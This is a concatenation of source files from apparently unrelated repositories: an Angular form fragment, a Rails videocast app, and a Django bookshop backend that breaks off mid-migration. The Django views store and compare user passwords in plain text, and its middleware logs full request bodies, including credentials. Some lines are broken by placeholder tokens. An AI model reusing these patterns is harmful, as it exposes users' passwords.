this.addusuarioservice.postUsuario(form.value).subscribe(res => {
this.toastr.info('Updated successfully', 'EMP. Register');
this.resetForm(form);
this.addusuarioservice.refreshList();
});
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Router } from '@angular/router';
import {UsuarioService} from './shared/usuario.service';
import { Usuarios} from './shared/usuario';
@Component({
selector: 'app-usuarios',
templateUrl: './usuarios.component.html',
styleUrls: ['./usuarios.component.css']
})
export class UsuariosComponent implements OnInit {
user = null;
message = '';
usuarios: Usuarios[] = [];
constructor(public usuarioService: UsuarioService, public router: Router ) { }
ngOnInit() {
}
deleteUsuario(): void {
this.usuarioService.deleteUsuario(this.user.id)
.subscribe(res => {
console.log(res);
this.message = 'Producto eliminado!';
console.log('eliminado');
});
}
}
<file_sep>export class Usuarios{
id: string;
nombre: string;
cedula: string;
fecha: string;
email: string;
telefono: string;
organizacion: string;
}
| 0d87f1782ff4cc0c0f72b7a3985d912a4113fb01 | [
"TypeScript"
] | 6 | TypeScript | luisMagoV/pruebaAngular | 0a775beb25355bbb5f60c9e2a1635d3df7c70739 | e0d87ad914e9efc93793afc105e40552f9e6ba0a |
refs/heads/master | <file_sep># videocast by pedro
Overview
==========
**videocast**, allows artists to create videocasts using a web browser.
[http://videocast.eu01.aws.af.cm/](http://videocast.eu01.aws.af.cm/)
How to
==========
Artist
------
go to [~> app/artist](http://videocast.eu01.aws.af.cm/artist).
```
create a videocast. define title, description and a price. hit create.
view your settings. hit continue.
start your videocast. hit start.
warm up your voice and start singing.
```
**note:** some browsers throw up an infobar, asking the user permissions to access camera and mic.
Fan
---
go to [~> app/videocasts](http://videocast.eu01.aws.af.cm/videocasts).
```
view available videocasts.
hit show.
hit listen.
sit comfortably (or not) and enjoy the show.
```
**note:** run from a different browser or from an incognito window (google chrome).
#Technology
###### Ruby on Rails
ruby 1.9.3p362 (2012-12-25 revision 38607) [x86_64-darwin12.2.0]
Rails 3.2.11
###### OpenTok
face-to-face video to any web browser
[opentok api](http://www.tokbox.com/opentok/api)
Coded
-----
Mac OS X 10.8.2 (Mountain Lion)
Contributors
------------
**<NAME>** [pmpsampaio](https://github.com/pmpsampaio)
<file_sep>require 'test_helper'
class VideocastsHelperTest < ActionView::TestCase
end
<file_sep>require 'test_helper'
class VideocastsControllerTest < ActionController::TestCase
setup do
@videocast = videocasts(:one)
end
test "should get index" do
get :index
assert_response :success
assert_not_nil assigns(:videocasts)
end
test "should get new" do
get :new
assert_response :success
end
test "should create videocast" do
assert_difference('Videocast.count') do
post :create, videocast: { description: @videocast.description, price: @videocast.price, session_id: @videocast.session_id, title: @videocast.title }
end
assert_redirected_to videocast_path(assigns(:videocast))
end
test "should show videocast" do
get :show, id: @videocast
assert_response :success
end
test "should get edit" do
get :edit, id: @videocast
assert_response :success
end
test "should update videocast" do
put :update, id: @videocast, videocast: { description: @videocast.description, price: @videocast.price, session_id: @videocast.session_id, title: @videocast.title }
assert_redirected_to videocast_path(assigns(:videocast))
end
test "should destroy videocast" do
assert_difference('Videocast.count', -1) do
delete :destroy, id: @videocast
end
assert_redirected_to videocasts_path
end
end
<file_sep>class VideocastsController < ApplicationController
# GET /videocasts
# GET /videocasts.json
def index
@videocasts = Videocast.all
respond_to do |format|
format.html # index.html.erb
format.json { render json: @videocasts }
end
end
# GET /videocasts/1
# GET /videocasts/1.json
def show
@videocast = Videocast.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @videocast }
end
end
# GET /videocasts/new
# GET /videocasts/new.json
def new
session[:is_artist] = true;
@videocast = Videocast.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @videocast }
end
end
# GET /videocasts/1/edit
def edit
@videocast = Videocast.find(params[:id])
end
# POST /videocasts
# POST /videocasts.json
def create
@videocast = Videocast.new(params[:videocast])
respond_to do |format|
if @videocast.save
format.html { redirect_to @videocast, notice: 'videocast was successfully created...' }
format.json { render json: @videocast, status: :created, location: @videocast }
else
format.html { render action: "new" }
format.json { render json: @videocast.errors, status: :unprocessable_entity }
end
end
end
# PUT /videocasts/1
# PUT /videocasts/1.json
def update
@videocast = Videocast.find(params[:id])
@videocast.update_attributes(:session_id => params[:session_id])
#respond_to do |format|
#if @videocast.update_attributes(params[:videocast])
#format.html { redirect_to @videocast, notice: 'Videocast was successfully updated.' }
#format.json { head :no_content }
#else
#format.html { render action: "edit" }
#format.json { render json: @videocast.errors, status: :unprocessable_entity }
#end
#end
end
# DELETE /videocasts/1
# DELETE /videocasts/1.json
def destroy
@videocast = Videocast.find(params[:id])
@videocast.destroy
respond_to do |format|
format.html { redirect_to videocasts_url }
format.json { head :no_content }
end
end
# GET /videocasts/1/play
def play
@videocast = Videocast.find(params[:id])
respond_to do |format|
format.html # record.html.erb
format.json { render json: @videocast }
end
end
# GET /videocasts/1/record
def record
@videocast = Videocast.find(params[:id])
respond_to do |format|
format.html # record.html.erb
format.json { render json: @videocast }
end
end
end
<file_sep>class Videocast < ActiveRecord::Base
attr_accessible :description, :price, :session_id, :title
end
| 97114014cf050da189d44bc0ba034cc1162dffc3 | [
"Markdown",
"Ruby"
] | 5 | Markdown | pmpsampaio/videocast | 4d297875d70fc5d0a74c744fdf906f68ad804704 | 6111e9c9663559fff14cc9ddc7f6bcb7828c3ca0 |
refs/heads/master | <repo_name>itang85/bookshop-django<file_sep>/apps/mall/serializers.py
import json
from rest_framework import serializers
from rest_framework.validators import UniqueValidator, UniqueTogetherValidator
from apps.mall.models import *
class getProductViewSerializer(serializers.Serializer):
_data = serializers.JSONField(required=False)
def validate(self, attrs):
now_user = self.context['request'].user
attrs['_data'] = {}
attrs['_data']['user'] = now_user
return attrs
class postProductViewSerializer(serializers.Serializer):
name = serializers.CharField()
introduction = serializers.CharField()
detail = serializers.CharField()
cover = serializers.URLField()
price = serializers.DecimalField(max_digits=30, decimal_places=2)
publisher = serializers.CharField()
category_list = serializers.JSONField()
img_list = serializers.JSONField()
count = serializers.IntegerField()
_data = serializers.JSONField(required=False)
def validate(self, attrs):
now_user = self.context['request'].user
attrs['_data'] = {}
attrs['_data']['user'] = now_user
attrs['_data']['seller'] = now_user
attrs['_data']['selling_price'] = attrs.get('price')
return attrs
class getCartViewSerializer(serializers.Serializer):
_data = serializers.JSONField(required=False)
def validate(self, attrs):
now_user = self.context['request'].user
attrs['_data'] = {}
attrs['_data']['user'] = now_user
return attrs
class postCartViewSerializer(serializers.Serializer):
# count = serializers.IntegerField()
selling_product_id = serializers.IntegerField()
seller_id = serializers.IntegerField()
_data = serializers.JSONField(required=False)
def validate(self, attrs):
now_user = self.context['request'].user
attrs['_data'] = {}
attrs['_data']['user'] = now_user
return attrs
class putCartViewSerializer(serializers.Serializer):
cart_id = serializers.IntegerField()
count = serializers.IntegerField(required=False)
class deleteCartViewSerializer(serializers.Serializer):
cart_id = serializers.IntegerField()
class getCategoryViewSerializer(serializers.Serializer):
def validate(self, attrs):
return attrs
class getSellingProductViewSerializer(serializers.Serializer):
_data = serializers.JSONField(required=False)
def validate(self, attrs):
now_user = self.context['request'].user
attrs['_data'] = {}
attrs['_data']['user'] = now_user
return attrs
class putSellingProductViewSerializer(serializers.Serializer):
id = serializers.IntegerField()
name = serializers.CharField(required=False)
introduction = serializers.CharField(required=False)
detail = serializers.CharField(required=False)
cover = serializers.URLField(required=False)
price = serializers.DecimalField(max_digits=30, decimal_places=2, required=False)
publisher = serializers.CharField(required=False)
category_list = serializers.JSONField(required=False)
img_list = serializers.JSONField(required=False)
count = serializers.IntegerField(required=False)
_data = serializers.JSONField(required=False)
def validate(self, attrs):
now_user = self.context['request'].user
attrs['_data'] = {}
attrs['_data']['user'] = now_user
return attrs
class postRateViewSerializer(serializers.Serializer):
uid = serializers.IntegerField()
pid = serializers.IntegerField()
fraction = serializers.IntegerField()
_data = serializers.JSONField(required=False)
def validate(self, attrs):
now_user = self.context['request'].user
attrs['_data'] = {}
attrs['_data']['user'] = now_user
return attrs
<file_sep>/apps/users/migrations/0001_initial.py
# Generated by Django 3.1.6 on 2021-02-18 22:02
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='AuthModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('auth_type', models.CharField(max_length=128, verbose_name='权限组名称')),
('auth_desc', models.CharField(max_length=255, verbose_name='权限组描述')),
('routers', models.TextField(blank=True, null=True, verbose_name='前端路由')),
],
options={
'verbose_name': '权限组表',
'verbose_name_plural': '权限组表',
'db_table': 'users_auth_table',
'managed': False,
},
),
migrations.CreateModel(
name='AuthPermissionModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('object_name', models.CharField(max_length=128, verbose_name='功能名称')),
('object_name_cn', models.CharField(max_length=128, verbose_name='功能名称_cn')),
('auth_list', models.BooleanField(default=False, verbose_name='查看')),
('auth_create', models.BooleanField(default=False, verbose_name='新增')),
('auth_update', models.BooleanField(default=False, verbose_name='修改')),
('auth_destroy', models.BooleanField(default=False, verbose_name='删除')),
],
options={
'verbose_name': '权限菜单表',
'verbose_name_plural': '权限菜单表',
'db_table': 'users_permission_table',
'managed': False,
},
),
migrations.CreateModel(
name='GroupModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('group_type', models.CharField(choices=[('SuperAdmin', '超级管理员'), ('Admin', '管理员'), ('NormalUser', '普通用户'), ('NormalMerchant', '普通商家')], max_length=128, verbose_name='用户组类型')),
('group_type_cn', models.CharField(max_length=128, verbose_name='用户组类型_cn')),
('group_desc', models.CharField(max_length=255, verbose_name='用户组描述')),
],
options={
'verbose_name': '用户组表',
'verbose_name_plural': '用户组表',
'db_table': 'users_group_table',
'managed': False,
},
),
migrations.CreateModel(
name='UserModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('username', models.CharField(blank=True, default='', max_length=32, verbose_name='用户账号')),
('password', models.CharField(blank=True, default='', max_length=255, verbose_name='用户密码')),
('mobile', models.CharField(blank=True, default='', max_length=11, verbose_name='用户手机号')),
('email', models.EmailField(blank=True, default='', max_length=254, verbose_name='用户邮箱')),
('real_name', models.CharField(blank=True, default='', max_length=16, verbose_name='真实姓名')),
('id_num', models.CharField(blank=True, default='', max_length=18, verbose_name='身份证号')),
('nick_name', models.CharField(blank=True, default='', max_length=32, verbose_name='昵称')),
('region', models.CharField(blank=True, default='', max_length=255, verbose_name='地区')),
('avatar_url', models.CharField(blank=True, default='', max_length=255, verbose_name='头像')),
('open_id', models.CharField(blank=True, default='', max_length=255, verbose_name='微信openid')),
('union_id', models.CharField(blank=True, default='', max_length=255, verbose_name='微信unionid')),
('gender', models.IntegerField(choices=[(0, '未知'), (1, '男'), (2, '女')], default=0, verbose_name='性别')),
('birth_date', models.DateField(blank=True, null=True, verbose_name='生日')),
('is_freeze', models.IntegerField(choices=[(0, '否'), (1, '是')], default=0, verbose_name='是否冻结/是否封号')),
('last_login', models.DateTimeField(blank=True, null=True, verbose_name='上次登录时间')),
],
options={
'verbose_name': '用户表',
'verbose_name_plural': '用户表',
'db_table': 'users_info_table',
'managed': False,
},
),
migrations.CreateModel(
name='ShippingAddressModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('region', models.CharField(blank=True, default='', max_length=255, verbose_name='地区')),
('address', models.CharField(blank=True, default='', max_length=255, verbose_name='详细地址')),
('receiver', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='receiver_address', to='users.usermodel', verbose_name='收货人')),
],
options={
'verbose_name': '收货地址表',
'verbose_name_plural': '收货地址表',
'db_table': 'users_address_table',
},
),
]
<file_sep>/apps/mall/migrations/0010_ratemodel.py
# Generated by Django 3.1.6 on 2021-02-28 19:57
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('users', '0009_shippingaddressmodel_addressdetail'),
('mall', '0009_auto_20210221_1834'),
]
operations = [
migrations.CreateModel(
name='RateModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('fraction', models.IntegerField(verbose_name='数量')),
('product', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='product_rate', to='mall.productmodel', verbose_name='对应商品')),
('user', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='user_rate', to='users.usermodel', verbose_name='评分人')),
],
options={
'verbose_name': '商品评分表',
'verbose_name_plural': '商品评分表',
'db_table': 'rate_table',
},
),
]
<file_sep>/apps/users/migrations/0004_delete_shippingaddressmodel.py
# Generated by Django 3.1.6 on 2021-02-18 22:19
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('mall', '0005_delete_ordermodel'),
('users', '0003_shippingaddressmodel'),
]
operations = [
migrations.DeleteModel(
name='ShippingAddressModel',
),
]
<file_sep>/apps/mall/admin.py
from django.contrib import admin
from . import models
# Register your models here.
base_fields = ['sort', 'remark', 'create_time', 'update_time', 'deleted']
@admin.register(models.CategoryModel)
class AuthModelAdmin(admin.ModelAdmin):
list_display = ['id', 'category', 'description']
list_display.extend(base_fields)
list_per_page = 20
admin_order_field = 'id'
<file_sep>/README.md
# Django3.x-base
这是基于Django3.x的初始化项目
依赖
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple django django-cors-headers djangorestframework mysqlclient PyJWT django-filter drf-yasg django-debug-toolbar
添加用户
models.UserModel.objects.create(sort=1, username="root", password="<PASSWORD>", mobile="18280433213", group_id=1, auth_id=1)
id: 1-普通用户, 2-管理员, 3-超级管理员
数据导入导出
```powershell
python manage.py dumpdata > db_data/data_20210228.json
python manage.py loaddata db_data/data_20210228.json
```
序列化器命名规范
``` python
serializer_string = 'apps.' + request.resolver_match.app_name + '.serializers.' + func.__name__ + self.__class__.__name__ + 'Serializer'
self.serializer_class = import_string(serializer_string)
```
| 错误码 | 信息 |
| ---- | ---- |
| 0 | 成功 |
| 1001 | 参数错误 |
| 1002 | 登录失败 |
| 1003 | jwt身份验证失败 |
| 1004 | 商品不存在 |
<file_sep>/middleware/guard.py
import logging, json
from django.http import QueryDict
from django.utils.deprecation import MiddlewareMixin
# logger = logging.getLogger('django')
class CustomerMiddleware(MiddlewareMixin):
request_data = None
response_data = None
def process_request(self, request):
# body_content = request.body
if 'file' not in request.path:
self.request_data = getattr(request, '_body', request.body).decode("utf-8") or json.dumps(dict(request.GET))
def process_response(self, request, response):
if not 'admin' in request.path and \
not 'swagger' in request.path and \
not 'file' in request.path:
res = json.loads(response.content.decode("utf-8"))
if res.get('errno') == None:
res = {
'errno': 0,
'errmsg': 'SUCCESS',
'data': {
'result': res if type(res) == list else [res]
}
}
response.content = json.dumps(res).encode("utf-8")
log = "|| bookshop-log-access || " \
"scheme={} || " \
"path={} || " \
"method={} || " \
"cookies={} || " \
"content_type={} || " \
"charset={} || " \
"server_host={} || " \
"remote_addr={} || " \
"request={} || " \
"response={} ||".format(
request.scheme,
request.path,
request.method,
request.COOKIES,
request.content_type,
request.META.get('LC_CTYPE'),
request.META.get('HTTP_HOST'),
request.META.get('REMOTE_ADDR'),
self.request_data,
response.content.decode()
)
# logger.info(log)
print(log)
return response
<file_sep>/apps/mall/migrations/0001_initial.py
# Generated by Django 3.1.6 on 2021-02-18 22:09
from django.db import migrations, models
import django.db.models.deletion
import storage.astorage
import uuid
class Migration(migrations.Migration):
initial = True
dependencies = [
('users', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='CategoryModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('category', models.CharField(max_length=255, verbose_name='类别')),
('description', models.CharField(max_length=255, verbose_name='描述')),
],
options={
'verbose_name': '商品类别表',
'verbose_name_plural': '商品类别表',
'db_table': 'product_category_table',
},
),
migrations.CreateModel(
name='ProductModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('name', models.CharField(blank=True, max_length=255, null=True, verbose_name='商品名称')),
('introduction', models.CharField(blank=True, max_length=255, null=True, verbose_name='简介')),
('detail', models.TextField(blank=True, null=True, verbose_name='详细介绍')),
('cover', models.TextField(blank=True, null=True, verbose_name='封面')),
('price', models.DecimalField(blank=True, decimal_places=2, max_digits=30, null=True, verbose_name='推荐价格')),
('publisher', models.CharField(blank=True, max_length=255, null=True)),
('category', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='category_book', to='mall.categorymodel', verbose_name='类别')),
],
options={
'verbose_name': '商品信息表',
'verbose_name_plural': '商品信息表',
'db_table': 'product_info_table',
},
),
migrations.CreateModel(
name='SellingProductModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('selling_price', models.DecimalField(decimal_places=2, max_digits=30, verbose_name='售价')),
('count', models.IntegerField(default=1, verbose_name='数量')),
('product', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='selling_product', to='mall.productmodel', verbose_name='商品')),
('seller', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='seller_product', to='users.usermodel', verbose_name='卖家')),
],
options={
'verbose_name': '在售商品表',
'verbose_name_plural': '在售商品表',
'db_table': 'selling_product_table',
},
),
migrations.CreateModel(
name='ProductImageModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('image', models.FileField(storage=storage.astorage.GoodFileStorage(), upload_to='product/image', verbose_name='商品图片')),
('selling_product', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='selling_product_image', to='mall.sellingproductmodel', verbose_name='在售商品')),
],
options={
'verbose_name': '商品图片表',
'verbose_name_plural': '商品图片表',
'db_table': 'product_image_table',
},
),
migrations.CreateModel(
name='OrderModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('order_id', models.UUIDField(auto_created=True, default=uuid.uuid4, editable=False, verbose_name='订单号')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('order_status', models.IntegerField(choices=[(0, '已关闭'), (1, '已下单'), (2, '待发货'), (3, '已完成')], default=1, verbose_name='订单状态')),
('address', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='address_order', to='users.shippingaddressmodel', verbose_name='收获地址')),
('buyer', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='buyer_order', to='users.usermodel', verbose_name='买家')),
('seller', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='seller_order', to='users.usermodel', verbose_name='卖家')),
('selling_product', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='selling_product_order', to='mall.sellingproductmodel', verbose_name='对应商品')),
],
options={
'verbose_name': '订单信息表',
'verbose_name_plural': '订单信息表',
'db_table': 'order_info_table',
},
),
]
<file_sep>/apps/users/urls.py
from django.urls import path
from apps.users.views import *
app_name = 'users'
urlpatterns = [
path('login/', LoginView.as_view(), name='登录'),
path('signup/', SignupView.as_view(), name='注册'),
path('info/', UserView.as_view(), name='用户信息'),
path('address/', ShippingAddressView.as_view(), name='地址管理'),
]
<file_sep>/apps/mall/migrations/0008_auto_20210220_1807.py
# Generated by Django 3.1.6 on 2021-02-20 18:07
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('mall', '0007_auto_20210218_2307'),
]
operations = [
migrations.RemoveField(
model_name='productmodel',
name='category',
),
migrations.AddField(
model_name='productmodel',
name='category',
field=models.ManyToManyField(blank=True, null=True, related_name='category_book', to='mall.CategoryModel', verbose_name='类别'),
),
]
<file_sep>/apps/users/views.py
import datetime
from drf_yasg import openapi
from drf_yasg.openapi import Parameter, IN_PATH, IN_QUERY, TYPE_INTEGER, TYPE_STRING
from drf_yasg.utils import swagger_auto_schema
from rest_framework import generics
from rest_framework.viewsets import ModelViewSet
from rest_framework.filters import SearchFilter, OrderingFilter
from django_filters.rest_framework import DjangoFilterBackend
from django.db.models import Q
from utils.preprocessing import warm_hug, protect
from utils.exception import CustomerError
from utils.jwtAuth import JWTAuthentication
from utils.pagination import Pagination
# 自定义的JWT配置 公共插件
from utils.utils import jwt_decode_handler, jwt_encode_handler, jwt_payload_handler, jwt_payload_handler, \
jwt_response_payload_handler, VisitThrottle, get_region_cn
from apps.users.models import *
from apps.users.serializers import *
class LoginView(generics.GenericAPIView):
# serializer_class = postLoginViewSerializer
@warm_hug()
def post(self, request, *args, **kwargs):
'''
登录
'''
request_data = kwargs.get('data')
username = request_data.get('username')
password = request_data.get('<PASSWORD>')
obj_user = UserModel.objects.filter(Q(username=username) | Q(mobile=username) | Q(email=username)).first()
if not obj_user:
raise CustomerError(errno=1002, errmsg='用户不存在')
if obj_user.password == <PASSWORD>:
token_data = jwt_response_payload_handler(jwt_encode_handler(payload=jwt_payload_handler(obj_user)), obj_user, request)
obj_user.last_login = datetime.datetime.now()
obj_user.save()
token_data.update({'uid': obj_user.id})
return token_data
else:
raise CustomerError(errno=1002, errmsg='密码错误')
class SignupView(generics.GenericAPIView):
@warm_hug()
def post(self, request, *args, **kwargs):
request_data = kwargs.get('data')
UserModel.objects.create(
username=request_data.get('username'),
password=request_data.get('<PASSWORD>'),
email=request_data.get('email'),
nick_name=request_data.get('nick_name'),
group=GroupModel.objects.filter(group_type='NormalUser').first(),
auth=AuthModel.objects.filter(auth_type='NormalUser').first()
)
return
class UserView(generics.GenericAPIView):
authentication_classes = (JWTAuthentication,)
polygon_view_get_desc = '获取用户信息'
polygon_view_get_parm = [
Parameter(name='token', in_=IN_QUERY, description='token', type=TYPE_STRING, required=True)
]
@swagger_auto_schema(operation_description=polygon_view_get_desc, manual_parameters=polygon_view_get_parm)
@warm_hug()
def get(self, request, *args, **kwargs):
data = kwargs['data']['_data']
data['region_cn'] = get_region_cn(data['region'])
return data
@warm_hug()
def put(self, request, *args, **kwargs):
request_data = kwargs.get('data')
obj = UserModel.objects.get(id=request_data.pop('id'))
for key in request_data:
if request_data[key]: setattr(obj, key, request_data[key])
obj.save()
return
class ShippingAddressView(generics.GenericAPIView):
authentication_classes = (JWTAuthentication,)
@warm_hug()
def get(self, request, *args, **kwargs):
data = kwargs['data']['_data']
return data
@warm_hug()
def post(self, request, *args, **kwargs):
request_data = kwargs.get('data')
receiver = request_data['_data']['receiver']
ShippingAddressModel.objects.create(
addressDetail=request_data.get('addressDetail'),
areaCode=request_data.get('areaCode'),
city=request_data.get('city'),
country=request_data.get('country'),
county=request_data.get('county'),
isDefault=request_data.get('isDefault'),
name=request_data.get('name'),
postalCode=request_data.get('postalCode'),
province=request_data.get('province'),
tel=request_data.get('tel'),
receiver=receiver,
)
@warm_hug()
def put(self, request, *args, **kwargs):
request_data = kwargs.get('data')
receiver = request_data['_data']['receiver']
if request_data.get('isDefault'): ShippingAddressModel.objects.filter(receiver_id=receiver.id, isDefault=True).update(isDefault=False)
ShippingAddressModel.objects.filter(id=request_data['id']).update(
addressDetail=request_data.get('addressDetail'),
areaCode=request_data.get('areaCode'),
city=request_data.get('city'),
country=request_data.get('country'),
county=request_data.get('county'),
isDefault=request_data.get('isDefault'),
name=request_data.get('name'),
postalCode=request_data.get('postalCode'),
province=request_data.get('province'),
tel=request_data.get('tel'),
receiver=receiver,
)
return
@warm_hug()
def delete(self, request, *args, **kwargs):
request_data = kwargs.get('data')
ShippingAddressModel.objects.delete(id=request_data.get('id'))
class UserViewSet(ModelViewSet):
"""
修改局部数据
create: 创建用户
retrieve: 检索某个用户
update: 更新用户
destroy: 删除用户
list: 获取用户列表
"""
queryset = UserModel.objects.filter(group__group_type__in=['NormalUser', 'Admin']).order_by('-create_time')
authentication_classes = (JWTAuthentication,)
# permission_classes = [BaseAuthPermission, ]
throttle_classes = [VisitThrottle]
serializer_class = ReturnUserSerializer
filter_backends = (DjangoFilterBackend, SearchFilter, OrderingFilter,)
search_fields = ('username', 'mobile', 'email',)
filter_fields = ('is_freeze', 'group', 'auth', )
ordering_fields = ('id', 'update_time', 'create_time',)
pagination_class = Pagination
def get_serializer_class(self):
if self.action in ['create']:
return AddUserSerializer
if self.action in ['update', 'partial_update']:
return UpdateUserSerializer
return ReturnUserSerializer
<file_sep>/apps/mall/migrations/0009_auto_20210221_1834.py
# Generated by Django 3.1.6 on 2021-02-21 18:34
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('users', '0006_auto_20210218_2312'),
('mall', '0008_auto_20210220_1807'),
]
operations = [
migrations.AddField(
model_name='ordermodel',
name='count',
field=models.IntegerField(default=1, verbose_name='数量'),
),
migrations.AddField(
model_name='ordermodel',
name='total_fee',
field=models.DecimalField(decimal_places=2, default=None, max_digits=30, verbose_name='总价'),
preserve_default=False,
),
migrations.AlterField(
model_name='productimagemodel',
name='image',
field=models.URLField(verbose_name='商品图片'),
),
migrations.AlterField(
model_name='productmodel',
name='category',
field=models.ManyToManyField(related_name='category_product', to='mall.CategoryModel', verbose_name='类别'),
),
migrations.AlterField(
